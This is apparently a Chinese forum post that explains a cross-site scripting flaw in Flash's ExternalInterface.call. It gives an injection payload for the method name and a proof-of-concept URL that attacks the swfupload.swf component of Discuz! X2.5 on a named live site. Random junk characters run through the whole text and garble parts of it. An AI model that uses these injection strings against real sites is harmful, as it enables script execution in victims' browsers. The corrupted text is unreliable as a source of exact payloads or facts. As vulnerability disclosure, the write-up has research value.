上回我们说# V# ~3 {( N+ I# X
! l: u" u# }3 x/ o0 p2 o
flash.external.ExternalInterface.call($methodName, $parameter); x! Y& I$ c6 [/ z! b2 J
在浏览器中执行的是
% o( N/ r1 q. }
/ U& d0 H8 o( h3 V7 {4 |try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
% V& u- V$ ^! V5 A, w; f对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如8 I) _; A; X$ L f7 _" | ^1 K2 ^
, O) k9 s4 H# A
flash.external.ExternalInterface.call("object."+$methodName, $parameter)7 T0 E& d1 \/ H2 E `8 A
$methodName = a())}catch(e){alert(/xss/)}//0 _- R& G* z2 J" T3 A) C G
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。+ ~, o0 D& I1 i
5 n7 r. R4 V" Q; G4 f1 e( Rtry { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }1 \" A* U; Z) ]# o0 }' a
- y p9 [3 o( u' J* C
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )" @$ C' J" |0 F! q$ F, K. [
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。
/ R o* T; U2 j! Z6 z! Q
: `- d6 w! _6 w( g7 i+ l: g
0 B2 j( r; W0 p, \
8 V2 D: ?7 I, g漏洞文件:upload\static\image\common\swfupload.swf
2 [3 y% ~) `5 J( c: {. y5 p% U' G" }; ?
原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf
- n* A$ r7 p# H( e: j# _ o! O- C' K+ T1 b) O
: G. Z, {) K7 T7 ?9 Y5 y2 T
漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//4 S, I9 j+ }. F, M5 E) z. a6 ?
% N5 a1 W& M; ?% l+ U+ G+ y& U) F) u, q4 E
|